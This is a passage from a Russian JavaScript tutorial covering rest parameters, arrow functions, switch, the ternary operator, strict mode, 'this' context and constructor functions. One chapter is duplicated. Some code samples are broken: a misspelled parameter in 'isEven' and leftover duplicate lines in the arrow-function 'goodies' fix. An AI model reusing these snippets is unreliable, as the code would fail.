      // Если больше, то считаем за максимальный его
      max = values[i];
    }
  }

  // После цикла возвращаем из функции самый максимальный параметр
  return max;
}

getMaxValue(3, 2, 1); // Для вызова вроде этого переменная values будет содержать [3, 2, 1]
```

Если вы не до конца понимаете код функции (например, что значит запись `values[i]`) — ничего страшного. Просто вернитесь к этому примеру после раздела о массивах.

Не обязательно превращать все параметры функции в «оставшиеся». Можно определить нужное количество параметров отдельными переменными, а остальные как rest-параметры:

```
function имя_функции (первый_параметр, второй_параметр, ...rest_параметры) {}
```

Например:

```
function getMaxValue (a, b, ...values) {
  // Первые два аргумента при вызове станут
  // параметрами a и b соответственно
  // Все другие аргументы попадут в переменную values

  // ...
}

getMaxValue(3, 2, 1); // Для вызова вроде этого переменная values будет содержать [1], а 3 и 2
станут a и b соответственно
```

Переменную с оставшимися параметрами часто так и называют `rest`, однако на курсе такое имя нарушит критерий на именование переменных.

Однако, есть один нюанс: rest-параметры всегда должны идти последними и могут быть только одни. Впрочем, это следует даже из названия «остальные» или «оставшиеся». Поэтому объявить функцию с rest-параметрами посередине не выйдет:

```
function getMaxValue (a, b, ...values, c) {
  // ...
}
```

JavaScript сразу покажет ошибку `SyntaxError: parameter after rest parameter`.

Оператор rest

В интернете вы можете встретить понятие «оператор rest» или «rest-оператор». Дело в том, что подход с rest-параметрами оказался настолько удобным, что его стали использовать не только для параметров функции, но и в других синтаксических конструкциях JavaScript. О таком использовании rest-параметров мы поговорим позже.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 5 минут

Глава 2.7.1. rest-параметры функций

Чаще всего при написании или работе с функциями в JavaScript у нас есть конкретное число аргументов, которые эти функции принимают. Однако существуют функции, которые работают с любым количеством аргументов. Например, функция `Math.max()` для определения максимального значения среди переданных аргументов. Ей неважно, среди какого количества элементов определять максимальный:

```
Math.max(1); // вернёт: 1
Math.max(1, 2); // вернёт: 2
Math.max(3, 2, 1); // вернёт: 3
Math.max(Infinity, 1, 2, 3, 4, 5, 100, 1000); // вернёт: Infinity
```

Но как реализовать такую функцию? Заложить сто параметров? Тысячу? А потом? Надеяться, что разработчик при вызове не передаст больше? Конечно, нет! Для случаев вроде этого, когда количество параметров заранее неизвестно, и существуют rest-параметры.

> Понять rest-параметры может быть немного проще, если перевести слово rest на русский. Rest — «оставшиеся» или «остальные», то есть получится «оставшиеся параметры» или «остальные параметры». Буквально — это возможность собрать все параметры функции вместе, сколько бы при вызове не было передано аргументов.

Для описания rest-параметров используется специальный оператор, выглядит как многоточие `...`, следом за которым без пробелов идёт название переменной, в которую нужно записать все параметры функции. Это значит, что все аргументы, которые будут переданы при вызове, будут собраны в переменную, и обратиться к ней можно будет по заданному вами имени.

```
function имя_функции (...rest_параметры) {}
```

Разберём пример:

```
function getMaxValue (...values) {
  // В теле функции мы можем обращаться к переменной values,
  // как к обычному параметру, только в этой переменной будут
  // собраны все переданные аргументы

  // Дальше дело техники. Пока не прочитали параметры,
  // берём за максимальное значение минимально возможное число —
  // минус бесконечность
  let max = -Infinity;

  // Затем в цикле, пока не кончатся параметры...
  for (let i = 0; i < values.length; i++) {
    // Проверяем каждый параметр: не больше ли он максимального...
    if (values[i] > max) {
      // Если больше, то считаем за максимальный его
      max = values[i];
    }
  }

  // После цикла возвращаем из функции самый максимальный параметр
  return max;
}

getMaxValue(3, 2, 1); // Для вызова вроде этого переменная values будет содержать [3, 2, 1]
```

Если вы не до конца понимаете код функции (например, что значит запись `values[i]`) — ничего страшного. Просто вернитесь к этому примеру после раздела о массивах.

Не обязательно превращать все параметры функции в «оставшиеся». Можно определить нужное количество параметров отдельными переменными, а остальные как rest-параметры:

```
function имя_функции (первый_параметр, второй_параметр, ...rest_параметры) {}
```

Например:

```
function getMaxValue (a, b, ...values) {
  // Первые два аргумента при вызове станут
  // параметрами a и b соответственно
  // Все другие аргументы попадут в переменную values

  // ...
}

getMaxValue(3, 2, 1); // Для вызова вроде этого переменная values будет содержать [1], а 3 и 2
станут a и b соответственно
```

Переменную с оставшимися параметрами часто так и называют `rest`, однако на курсе такое имя нарушит критерий на именование переменных.

Однако, есть один нюанс: rest-параметры всегда должны идти последними и могут быть только одни. Впрочем, это следует даже из названия «остальные» или «оставшиеся». Поэтому объявить функцию с rest-параметрами посередине не выйдет:

```
function getMaxValue (a, b, ...values, c) {
  // ...
}
```

JavaScript сразу покажет ошибку `SyntaxError: parameter after rest parameter`.

Оператор rest

В интернете вы можете встретить понятие «оператор rest» или «rest-оператор». Дело в том, что подход с rest-параметрами оказался настолько удобным, что его стали использовать не только для параметров функции, но и в других синтаксических конструкциях JavaScript. О таком использовании rest-параметров мы поговорим позже.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 2.8. Стрелочные функции

В JavaScript кроме функционального выражения и декларативного объявления функций существует более лаконичный синтаксис. Он особенно удобен при описании функций, выполняющих одно действие. Функции, определённые с помощью такого сокращённого синтаксиса, принято называть стрелочными функциями *(от англ. arrow function)*.

Синтаксис

Особенность стрелочных функций с точки зрения синтаксиса — отсутствие слова `function`. Вместо него используется «стрелка». Соединив вместе знак равенства (`=`) и больше (`>`), мы получим что-то похожее на «стрелку» (`=>`).

```
const имя_переменной = ([параметры_функции]) => {
  [тело_функции]
}
```

Определение обычной функции начинается с ключевого слова `function`, а стрелочной — с параметров. Открываются круглые скобки и перечисляются все параметры для функции. Как и у обычных функций, число параметров не ограничено.

После списка параметров идёт та самая стрелка, о который упоминалось выше — `=>`. Благодаря этой комбинации символов, интерпретатор сможет понять, что это функция и её следует обрабатывать соответствующим образом.

За «стрелкой» следует описание тела функции. Для этого используются фигурные скобки. Здесь всё как у обычных функций: в теле допускается несколько операций, и чтобы вернуть из функции значение, применяется старый добрый оператор `return`. Рассмотрим на примере определение стрелочной функции для умножения чисел:

```
const multiply = (a, b) => {
  return a * b;
}

multiply(2, 2); // 4
```

Функция `multiply` определена в виде выражения. Только вместо функционального выражения применяется выражение стрелочной функции (arrow function expression). Важно запомнить: стрелочная функция всегда анонимна. Мы не можем задать для неё имя и объявить декларативно, как это делали с `function`:

```
function multiply (a, b) {
  return a * b;
}
```

Поэтому, если требуется описать стрелочную функцию, к которой планируется обращение в будущем, необходимо сохранить на неё ссылку в переменную. Одним словом, воспользоваться выражением стрелочной функции. В примере выше ссылка на стрелочную функцию для умножения сохраняется в константе `multiply`.

Ещё более короткий синтаксис

Стрелочные функции можно описать ещё лаконичней. Всё зависит от самой функции. Если функция состоит из одного выражения (действия), то фигурные скобки и оператор `return` необязательны. Такая функция автоматически вернёт результат выполнения единственного действия.

```
const имя_переменной = ([параметры_функции]) => действие
```

Рассмотрим на примере функции умножения:

```
const multiply = (a, b) => a * b;
multiply(2, 2); // 4
```

Функция `multiply` состоит из одного выражения (`a * b`), поэтому применение `return` и фигурных скобок для описания тела функции не требуется. Функция вернёт результат вычисления `a * b` автоматически.

Отбрасываем скобки

На этом возможность «сэкономить» на символах при определении стрелочных функции не заканчивается. В случаях, когда стрелочная функция принимает лишь один параметр, круглые скобки можно не писать.

```
const имя_переменной = параметр_функции => действие
```

Рассмотрим на примере:

```
const addTwo = count => count + 2;
addTwo(2); // 4
```

Определение функции `addTwo` выглядит ещё короче за счёт отказа от скобок. Однако мы рекомендуем не применять такой способ, а всегда описывать параметры стрелочной функции в скобках. Это удобно по нескольким причинам: при чтении кода глазу проще отделить тело функции от параметров. Причина субъективная, но многие разработчики сходятся в этом мнении. Другая причина заключается в упрощении рефакторинга. Если потребуется добавить второй параметр, то придётся возвращать скобки. Мелочь, но фактически дополнительное неудобство.

Резюме

Стоит ли применять стрелочные функции повсеместно? Да, если не требуются возможности, присущие классическим функциям (вроде контекста `this`), и нужен более короткий синтаксис, особенно если функция состоит из одного действия.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Глава 2.9. Оператор switch

Почти ни одна программа не обходится без применения условных операторов (`if...else`). Всегда есть условия, влияющие на логику выполнения программы. Однако, условный оператор не всегда отличный выбор для решения такой задачи.

Представим, что вы пишете программу «Персональный стилист», задача которой подбирать одежду в зависимости от погоды. Самое прямолинейное решение – использовать конструкцию `if...else if`, которая работает один в один `if...else`, только поочерёдно проверяет не одно, а несколько условий, буквально: если не это, то другое; если не другое, то третье — и так далее:

```
// Опишем функцию выбора одежды
function getClothing (weather) {
  if (weather === 'Солнечно') {
    return 'Майку';
  } else if (weather === 'Ветрено') {
    return 'Куртку';
  } else if (weather === 'Дождливо') {
    return 'Дождевик';
  }

  return 'Непонятно!';
}

// Что надеть, если...
getClothing('Солнечно'); // 'Майку'
getClothing('Ветрено'); // 'Куртку'
getClothing('Дождливо'); // 'Дождевик'
getClothing('Неизвестная погода'); // 'Непонятно!'
```

Минусы решения

Страдает читаемость

При большом количестве вариантов погоды эта конструкция разрастётся и будет выглядеть громоздко и многословно.

Сложно расширять

Допустим, нужно добавить дополнительные варианты погоды к текущему решению:

```
function getClothing (weather) {
  if (weather === 'Солнечно') {
    return 'Майку';
  } else if (weather === 'Ветрено') {
    return 'Куртку';
  } else if (weather === 'Дождливо') {
    return 'Дождевик';
  } else if (weather === 'Морозно') {
    return 'Пуховик';
  } else if (weather === 'Пасмурно') {
    return 'Плащ';
  }
  return 'Непонятно!';
}
```

Для каждого нового элемента массива придётся дописывать дополнительный блок `else if`, что само по себе неудобно, учитывая количество скобок, которые нужно не забыть закрыть.

Дублируется код

Это в свою очередь повышает вероятность ошибки. В коде постоянно повторяется трёхстрочная конструкция `else if (…) {}` и сравнение с параметром `weather`. Повторяющийся код читается не так внимательно. Следовательно, возрастают шансы на опечатки и ошибки. Хороший программист следует принципу DRY (Don't repeat yourself, не повторяйся) и избегает лишних повторений.

Оператор switch

Для подобных задач в JavaScript предусмотрен специальный оператор — `switch` (англ. «переключатель»). Проведём рефакторинг функции `getClothing`. Заменим лесенку из `else if` на оператор `switch`:

```
function getClothing (weather) {
  switch (weather) {
    case 'Солнечно':
      return 'Майку';
    case 'Ветрено':
      return 'Куртку';
    case 'Дождливо':
      return 'Дождевик';
    case 'Морозно':
      return 'Пуховик';
    case 'Пасмурно':
      return 'Плащ';
    default:
      return 'Непонятно!';
  }
}
```

`switch` принимает в скобках выражение, результат которого будет проходить *строгое сравнение* со значениями в `case` (англ. «случай»). При совпадении выполнится блок кода соответствующего `case`. Блок кода указывается через двоеточие после указания `case`.

Если тождественный случай отсутствует среди всех `case`, то сработает блок `default`. Этот блок используется для обработки непредусмотренных входных значений.

Чтобы прервать выполнение `switch`, используется `return` (только если `switch` внутри функции!) или ключевое слово `break`.

Другой пример

Есть функция, задача которой определить, является ли число чётным или нет, но тут закралась ошибка, и функция считает все числа от `1` до `4` чётными. Так не пойдёт, давайте разбираться.

```
function isEven (number) {
  let result;
  switch (number) {
    case 0:
      result = 'Чётное';
      break;
    case 1:
      result = 'Нечётное';
    case 2:
      result = 'Чётное';
    case 3:
      result = 'Нечётное';
    case 4:
      result = 'Чётное';
      break;
    default:
      result = 'Я умею считать только до 4 :(';
  }
  return result;
}

isEven(1); // 'Чётное'.
```

Если не указать `return` или `break` внутри `case`, то переключатель пойдёт дальше, и функция вернёт неожиданный результат. В примере мы «проваливаемся» сквозь все кейсы, начиная с `case 1` и до `case 4`, и получаем результат `'Чётное'`, потому что `break` только в `case 4`.

Это не ошибка

С помощью этой механики можно объединять одинаковые случаи. В нашем примере, где функция умеет проверять только до `4`, ответа может быть всего два. Объединим эти случаи и заменим `break` на `return` для краткости:

```
const isEven = function (nunber) {
  switch (number) {
    case 0:
    case 2:
    case 4:
      return 'Чётное';
    case 1:
    case 3:
      return 'Нечётное';
    default:
      return 'Я умею считать только до 4 :(';
  }
}

isEven(1); // 'Нечётное'
```

Запомните

- Если `case` не объединяются, то должны содержать `break` или `return`.
- Выражение, передаваемое в `switch`, представляется в любом виде (примитив, переменная, вычисляемое значение или вызов функции).
- Порядок случаев не важен.
- Блок `default` не является обязательным, но его удобно использовать на случай ошибок или значений по умолчанию.
- При наличии одинаковых случаев будет выбран первый попавшийся:

```
switch (weather) {
  case 'Солнечно': // Будет выбран этот вариант
    return 'Майку';
  case 'Солнечно':
    return 'Кепку';
}
```

Резюме

Оператор `switch` улучшает читаемость кода, уменьшает вероятность ошибки и является отличным решением при работе с фиксированными наборами значений.

Теория ~ 5 минут

Глава 2.10. Тернарный оператор

Все операторы различаются по количеству операндов, с которыми они взаимодействуют. Например, существует оператор минус `-`, который меняет знак числа на противоположный. Если такой оператор применяется к одному числу, то есть у него один операнд, оператор называется *унарным*.

```
const negativeNumber = -7;
```

Кроме унарных операторов существуют операторы с двумя операндами — *бинарные*. Например, бинарный плюс `+` складывает два операнда:

```
const sum = 7 + 3;
```

> **Обратите внимание,** что и плюс, и минус могут выступать как в роли унарных операторов, так и в роли бинарных.

И, наконец, *тернарный оператор*. Тернарный (или условный) оператор существует во многих языках программирования — например, в C++, Java, Python, PHP и других. Кстати, в JavaScript это единственный оператор с тремя операндами:

```
условие ? выражение_1 : выражение_2
```

Первый операнд — это **условие**. Если оно истинно (равно `true`), оператор вернёт значение **выражение1**. В ином случае оператор вернёт значение **выражение2**.

Что-то напоминает, да? По механике работы тернарный оператор похож на условную конструкцию `if` с альтернативной веткой `else`, но его синтаксис позволяет писать меньше строк кода. Сравним:

```
const booksCount = 19; // Количество книг, прочтённых за год
let result; // Сюда запишем результат сравнения booksCount с эталонным значением

// Сравним с помощью условной конструкции if
if (booksCount > 15) {
  result = 'План на год выполнен!';
} else {
  result = 'Читать и ещё раз читать';
}

// А теперь с помощью тернарного оператора
result = (booksCount > 15) ? 'План на год выполнен!' : 'Читать и ещё раз читать';
```

По сути оба фрагмента кода выполняют одно и то же действие — проверяют условие, а затем присваивают переменной первое или второе выражение в зависимости от истинности этого условия. Разница лишь в форме записи.

Варианты использования

Значение, возвращаемое тернарным оператором, можно записать в переменную — этот вариант мы уже рассмотрели в примере выше. Кроме этого, его можно использовать в функциях при возвращении значения с помощью `return`:

```
function getResult (booksCount) {
  return (booksCount > 15) ? 'План на год выполнен!' : 'Читать и ещё раз читать';
}
getResult(19); // Функция вернёт значение 'План на год выполнен!'
```

Также возможно использование множественных тернарных операций. В этом случае несколько операторов `?` будут идти подряд:

```
const booksCount = 19;
let result = (booksCount > 15)
  ? 'План на год выполнен!'
  : (booksCount > 10)
    ? 'Уже неплохо!'
    : 'Читать и ещё раз читать';
```

Здесь каждое условие проверяется последовательно. Если первое условие истинно, переменной `result` присвоится значение `'План на год выполнен!'`. В ином случае код выполняется дальше, и проверяется второе условие (`booksCount > 10`), в зависимости от его истинности переменной `result` присвоится либо значение `'Уже неплохо!'`, либо `'Читать и ещё раз читать'`.

Что выбрать: тернарный оператор или if?

При выборе за основной показатель нужно взять читабельность кода. Чем код понятнее, нагляднее, тем удобнее его рефакторить (так называется улучшение кода) и поддерживать. Тернарный оператор может как сделать код проще, так и необоснованно его усложнить. Это зависит от ситуации.

Посмотрим ещё раз на самый первый вариант, уже разобранный выше. Здесь переменной присваивается значение в зависимости от условия, и это пример грамотного использования тернарного оператора:

```
const booksCount = 19;
let result = (booksCount > 15) ? 'План на год выполнен!' : 'Читать и ещё раз читать';
```

В таком случае он позволяет избавиться от громоздкой условной конструкции и сделать код проще и короче.

Но есть варианты, когда использование оператора усложняет код. В большинстве случаев это относится к множественным тернарным операциям, о которых речь шла выше. Тем не менее не стоит отказываться от тернарного оператора. Он может помочь сделать код понятным и лаконичным. Главное — знать, в каких конкретно ситуациях его полезно использовать, и не злоупотреблять.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 9 минут

Глава 2.11. Строгий режим

JavaScript активно развивается и меняется. Последние версии спецификаций расширяют возможности языка, сохраняя обратную совместимость. Увы, так было не всегда. История JavaScript повидала многое: взлёты и падения в виде неудачных решений. Чтобы как-то оградить разработчиков от возможностей и подходов, которыми не стоит пользоваться, в пятую версию спецификации был добавлен строгий режим для выполнения кода.

По умолчанию этот режим выключен (исключение ECMAScript-модули). Это сделано намеренно для сохранения совместимости с устаревшим кодом. Как включить строгий режим узнаем ниже.

Строгий режим

Главная задача строгого режима (strict mode) — уберечь разработчика от ошибок. Сделать невозможными некоторые безумные вещи, на которые раньше интерпретатор закрывал глаза. Это приводило к ошибкам на ровном месте. Немного позже разберём это утверждение на реальных примерах кода, а пока немного предварительных итогов:

1. Строгий режим повышает требования к коду. Нет, он не убережёт от написания плохого кода, но от некоторых ошибок защитит. Вместо того, чтобы продолжить выполнять заведомо опасную и бессмысленную операцию, консоль выведет ошибку.
2. Включение строгого режима исправляет ошибки, которые мешают движку оптимизировать выполнение кода. В определённых случаях, код в строгом режиме может выполняться быстрей, чем аналогичный без включения строгого режима.
3. Строгий режим запрещает использовать потенциально некорректные операции, устаревший синтаксис или зарезервированные слова для будущих версий языка.

Как включить строгий режим

Для включения строгого режима применяется директива `"use strict"` или `'use strict'`. Да, здесь нет никакой ошибки — это самая обычная строка. Строгий режим может быть включён как для всего кода, так и для отдельной функции.

Если разместить директиву `'use strict'` в самом начале сценария (в первой строке), то её действие распространится на весь код сценария. Например:

```
'use strict';
// Любой код далее будет работать в строгом режиме
```

Строгий режим можно активировать для отдельной функции. Для этого директиву `'use strict'` следует определить в начале функции:

```
function inStrictMode() {
  'use strict';
  // Код функции работает в строгом режиме
}
// Код вне функции inStrictMode работает обычном режиме
function noStrictMode() {
  // Код внутри других функций, объявленных вне,
  // также работает обычном режиме
}

inStrictMode();
noStrictMode();
```

Отключить невозможно

Отменить строгий режим невозможно. Спецификация не предусматривает для этого отдельной директивы. Если вы перешли в строгий режим, то вернуться в обычный не получится.

Строгий режим по умолчанию

Стоит ли использовать строгий режим повсеместно? Да. Нет ситуаций, которые оправдывают применение нестрогого режима. Более того, начиная с ECMAScript 2015, строгий режим включён по умолчанию для ECMAScript модулей. Если в проекте используются модули, то включать вручную строгий режим не нужно. Он включён по умолчанию.

Строгий режим включён

Мы знаем, какие задачи решает строгий режим. Теперь посмотрим на эту возможность с практической точки зрения. Разберём несколько примеров, которые продемонстрируют поведение интерпретатора при активированном строгом режиме.

Случайные переменные

Для объявления новой переменной применяются ключевые слова `let` и `const`. Есть ещё `var`, но в современном коде он не используется. Работая в нестрогом режиме, легко случайно объявить глобальную переменную. Стоит написать идентификатор переменной и присвоить ему значение, как автоматически будет создано новое свойство в `window`. Например:

```
someVar = 10;
anotherVar = true;
sonVar = 11;
```

Мы не указывали никаких ключевых слов для определения переменной, но в нестрогом режиме ошибки не произойдёт. Все переменные будут созданы глобально, то есть у объекта `window` появятся одноимённые свойства.

Особое внимание стоит обратить на последнюю строку (`sonVar`). В этой строке мы хотели переопределить переменную `someVar`, но допустили ошибку — пропустили букву в названии переменной. В нестрогом режиме интерпретатор это пропустит и вместо ошибки (переменная не существует) создаст ещё одну глобальную переменную.

Попробуем добавить директиву `'use strict'` в наш код:

```
'use strict'
someVar = 10;
// ReferenceError: Can't find variable: someVar
anotherVar = true;
sonVar = 11;
```

В строгом режиме объявление переменных без ключевого слова вызовет ошибку и выполнение кода остановится.

А если мы определим переменные правильно, допущенная нами ошибка, сразу же станет видна и мы сможем её легко исправить:

```
'use strict'
let someVar = 10;
let anotherVar = true;
sonVar = 11;
// ReferenceError: Can't find variable: sonVar
// Становится очевидно, что мы допустили ошибку в названии переменной
```

Некорректные операции

Строгий режим предотвращает некоторые потенциально некорректные операции. Например, в нестрогом режиме ничего не мешает объявить функцию с несколькими одинаковыми именами параметров:

```
function foo(a, b, c, a) {}
```

Для функции `foo` определено два параметра с именем `a`. Воспользоваться последним не получится, но в нестрогом режиме функция будет создана. Ошибок не возникнет. В строгом напротив, при попытке создать такую функцию произойдёт ошибка: `Duplicate parameter name not allowed in this context`.

Аналогичная ситуация с именами ключей в объектах. Строгий режим не допускает, чтобы имена ключей повторялись.

Другой пример некорректных операций — бессмысленное присваивание значений. Есть ли смысл присвоить значение «переменным» с именами `undefined`, `NaN`? Нет. Однако, в нестрогом режиме этот код не приведёт к ошибке:

```
let undefined = 5;
let NaN = 10;

console.log(undefined); // undefined
// Выведет undefined, а не 5, потому что undefined так перезаписать нельзя
```

Строгий режим пресечёт подобные ошибки, выбросив ошибку: `Cannot assign to read only property 'undefined' of object`.

На этом примеры некорректных операций не заканчиваются. Например, в нестрогом режиме допускается возможность удалить у объекта неудаляемое свойство. Фактически оно не будет удалено, но ошибки не произойдёт:

```
// вернёт false. Ошибки не будет
delete Object.prototype;
```

В строгом режиме выполнение такого кода приведёт к ошибке `Cannot delete property 'prototype' of function Object()`.

Зарезервированные слова

Строгий режим запрещает использовать зарезервированные слова в качестве имён переменных. Не все перечисленные ключевые слова задействованы в текущей версии стандарта, но их планируется использовать в будущем. Строгий режим убережёт от их случайного применения: `implements`, `interface`, `let`, `package`, `private`, `protected`, `public`, `static` и `yield`. При попытке объявить одну из перечисленных переменных в строгом режиме возникнет ошибка `Unexpected strict mode reserved word`.

Функции внутри условных операторов

Строгий режим запрещает декларативно объявлять функции внутри условных конструкций. В примере ниже функция `fn` не будет создана:

```
'use strict';
if (true) {
  function fn() {}
  fn();
}
```

arguments в качестве параметра

Внутри функций доступна переменная `arguments`. Это коллекция, которая содержит список всех аргументов, переданных функции. В строгом режиме у функции не может быть одноимённого параметра. При попытке объявить такую функцию возникнет ошибка `Unexpected eval or arguments in strict mode`:

```
'use strict';
function foo(arguments) {}; // Unexpected eval or arguments in strict mode
```

Семантические различия

Значением `this` (контекста) в нестрогом режиме при вызове функции был глобальный объект `window`. В строгом режиме значение `this` в таких случаях `undefined`:

```
function foo() {
  console.log('Контекст:', this);
}
const foo2 = function () {
  'use strict';
  console.log('Контекст:', this);
}
foo() // this равен window
foo2() // this равен undefined
```

Резюме

Это лишь малая часть изменений, которые привносит строгий режим. С полным списком с подробными комментариями можно ознакомиться в справочнике разработчика MDN.

Глава 2.12. Контекст функций и проблема потери окружения

Контекст функции — некоторая противоположность областям видимости. Ключевая разница в том, что область видимости самой функции и доступные ей родительские области видимости определяются в момент объявления:

```
// Глобальная область видимости
const greeting = 'Привет!';

function say () {
  // Локальная область видимости функции say
  console.log(greeting);
}
```

Функции `say` доступна переменная `greeting`, где бы мы `say` не вызывали. Можно сказать, переменные родительской области видимости прикреплись к функции `say`. В большинстве случаев это удобно, но бывают моменты, когда этого мало.

Давайте предположим, что мы хотим переписать функцию `say` в универсальный разговорный модуль, чтобы можно было этот модуль передать любому персонажу, и он бы смог разговаривать. Персонажу у нас будут описаны объектами, например:

```
const cat = {
  nickname: 'Кекс',
  greeting: 'Мяу',
};

const dog = {
  nickname: 'Полиграф Шариков',
  greeting: 'Абырвалг',
};

const fox = {
  nickname: 'Алиса',
  greeting: 'What does the fox say?',
};
```

Как нам научить Кекса приветствовать хозяина? Первый, наверное, самый очевидный вариант, воспользоваться тем, что мы уже знаем — областями видимости:

```
const cat = {
  nickname: 'Кекс',
  greeting: 'Мяу',
};

// ...

function say () {
  console.log(cat.nickname + ' говорит: ' + cat.greeting);
}

say(); // Кекс говорит: Мяу
```

Но мы уже обсуждали выше, что в таком случае объект `cat` прикленится к функции `say`, и тогда дать голос другим персонажам, собаке или лисе, не получится.

Другой вариант — передавать объект аргументом при вызове `say`:

```
const cat = {
  nickname: 'Кекс',
  greeting: 'Мяу',
};

const dog = {
  nickname: 'Полиграф Шариков',
  greeting: 'Абырвалг',
};

const fox = {
  nickname: 'Алиса',
  greeting: 'What does the fox say?',
};

function say (character) {
  console.log(character.nickname + ' говорит: ' + character.greeting);
}

say(cat); // Кекс говорит: Мяу
say(dog); // Полиграф Шариков говорит: Абырвалг
say(fox); // Алиса говорит: What does the fox say?
```

Кажется, что это уже решение... Но это лишь его часть. Потому что в таком исполнении для того, чтобы персонаж что-то сказал, нужно быть уверенным, что и объект, который описывает персонажа, и функция `say` есть в наличии в месте вызова.

А хорошо бы, чтобы функция в момент вызова сама понимала, для какого объекта её вызывают:

```
cat.say(); // Кекс говорит: Мяу
dog.say(); // Полиграф Шариков говорит: Абырвалг
fox.say(); // Алиса говорит: What does the fox say?
```

Для этого и нужен контекст функции. В синтаксисе JavaScript контекст функции «скрывается» за ключевым словом `this`:

```
function say () {
  console.log(this.nickname + ' говорит: ' + this.greeting);
}
```

Дальше нужно только представить функцию `say` как метод объекта:

```
const cat = {
  nickname: 'Кекс',
  greeting: 'Мяу',
  say,
};

const dog = {
  nickname: 'Полиграф Шариков',
  greeting: 'Абырвалг',
  say,
};

const fox = {
  nickname: 'Алиса',
  greeting: 'What does the fox say?',
  say,
};
```

Может возникнуть вопрос: «А какое значение у `this`?» В этом и смысл, что значение отсутствует и определяется только в момент вызова функции:

```
cat.say(); // В данном случае контекстом будет cat

dog.say(); // А здесь уже dog

fox.say(); // Тут — fox
```

Где функция объявлена для контекста тоже не важно. Таким образом, контекст функции может меняться от вызова к вызову. Мы даже сами можем его изменять при необходимости, для этого в JavaScript предусмотрены методы `apply` и `call`, но нам они пока не понадобятся.

+ Полный пример кода

Итак, контекст функции `this` — это ссылка на объект, на котором была вызвана функция. Контекст определяется строго в момент вызова функции. При необходимости контекст при вызове можно переопределить с помощью методов `apply` и `call`.

Зачем это всё

Контекст позволяет описать функцию-метод множества однотипных объектов один раз, в одном месте, а затем этот метод переиспользовать, что упрощает дальнейшую поддержку кода.

Стрелочные функции — исключение

Особенность стрелочных функций, что их контекст ведёт себя скорее как область видимости, потому что контекст стрелочной функции зависит от того, где функция объявлена:

```
// Стрелочная функция объявлена просто в файле,
// значит её контекстом станет глобальная область видимости,
// то есть window
const say = () => {
  console.log(this.nickname + ' говорит: ' + this.greeting);
}

const cat = {
  nickname: 'Кекс',
  greeting: 'Мяу',
  say,
};

cat.say(); // undefined говорит: undefined
```

▶ Почему `undefined`?

Кстати, если вам кажется, что стоит переместить функцию прямо в объект, и всё заработает как надо, нет:

```
const cat = {
  nickname: 'Кекс',
  greeting: 'Мяу',
  say: () => {
    console.log(this.nickname + ' говорит: ' + this.greeting);
  },
};

cat.say(); // undefined говорит: undefined
```

Вспомните, область видимости образуют блоки кода `{}`, а в объекте фигурные скобки `{}` не блок кода, а часть синтаксиса объекта.

Кстати, раз контекста в момент вызова стрелочная функция не образует, то и изменить его с помощью `apply` и `call` нельзя.

Потеря окружения

Может показаться, что из-за отсутствия собственного контекста, стрелочные функции имеют ограниченное применение. Это не так. Особенность с контекстом реализована намеренно, так как позволяет избавиться от потери окружения — ситуации, когда мы не можем вызвать функцию с нужным нам контекстом.

Рассмотрим на примере... Представим, что нам нужно кроме приветствия перечислить список вкусняшек `goodies`, которые любит Кекс. Список оформлен в виде массива:

```
const cat = {
  nickname: 'Кекс',
  greeting: 'Мяу',
  goodies: [],
};
```

Учтём это в нашей функции `say` и попросим кота подать голос:

```
function say () {
  console.log(this.nickname + ' говорит: ' + this.greeting + '.');

  this.goodies.forEach(function (goodie) {
    console.log(this.nickname + ' любит: ' + goodie);
  });
}

const cat = {
  nickname: 'Кекс',
  greeting: 'Мяу',
  goodies: [
    'Свежую рыбку',
    'Шнурки хозяйских кроссовок',
  ],
  say,
};

cat.say();
// Кекс говорит: Мяу.
// undefined любит: Свежую рыбку
// undefined любит: Шнурки хозяйских кроссовок
```

Откуда же опять взялось `undefined`? Ответ вы знаете: контекст определяется строго в момент вызова функции. А кто вызывает колбэк метода `forEach`? Сам JavaScript! И с каким контекстом он вызывает наш колбэк можно только догадываться. В таких случаях на помощь спешит стрелочная функция, контекст которой закреплется в момент объявления, а не вызова:

```
function say () {
  console.log(this.nickname + ' говорит: ' + this.greeting);
  this.goodies.forEach(function (goodie) {
  this.goodies.forEach((goodie) => {
    console.log(this.nickname + ' любит: ' + goodie);
  });
}

const cat = {
  nickname: 'Кекс',
  greeting: 'Мяу',
  goodies: [
    'Свежую рыбку',
    'Шнурки хозяйских кроссовок',
  ],
  say,
};

cat.say();
// Кекс говорит: Мяу.
// Кекс любит: Свежую рыбку
// Кекс любит: Шнурки хозяйских кроссовок
```

Теперь контекст колбэка будет равен контексту функции, в которой он объявлен — это наша `say` — а значит колбэку будет доступно свойство `nickname` объекта. Проблема потери окружения решена.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 8 минут

Глава 2.13. Функции-конструкторы

Не пугайтесь этого названия, оно звучит страшней, чем есть на самом деле. Создать функцию-конструктор в JavaScript не сложней, чем обычную функцию.

А вот зачем нужны функции-конструкторы, и как ими пользоваться, мы подробно разберём в этом материале.

Почти конструктор

Давайте немного забудем про слово «конструктор», а вместо этого вспомним демонстрацию, где мы учились генерировать данные для разработки, а точнее её часть:

```
const createWizard = () => {
  return {
    name: getRandomArrayElement(NAMES) + ' ' + getRandomArrayElement(SURNAMES),
    coatColor: getRandomArrayElement(COAT_COLORS),
    eyesColor: getRandomArrayElement(EYES_COLORS),
  };
};
```

Внимательно посмотрите на приведённый код и попробуйте ответить на вопрос: «Что в этом коде можно улучшить?»

Спрашивается: «А что здесь можно улучшать»? Объект предельно простой и не содержит лишних свойств. С этой точки зрения действительно всё хорошо. Но если докопаться до сути, то что делает функция `createWizard`? Она конструирует объект автоматически. Созданием одной простой функции мы решили несколько проблем: избавились от дублирования кода и сократили возможность допустить ошибку при описании свойств объекта.

Да, мы уже решили несколько важных проблем. Да, наша функция выполняет поставленные задачи, но... у неё есть несколько проблем.

Например, мы не можем знать, какой именно объект возвращает наша функция. Да, какой-то объект она возвращает, но где гарантия, что этот объект описывает волшебника? Об этом мы можем узнать только по косвенным признакам. Например, если у объекта есть ключ `coatColor`, то, возможно, перед нами действительно объект с данными волшебника. На первый взгляд всё верно, но ведь это не гарантия, что перед нами нужный объект.

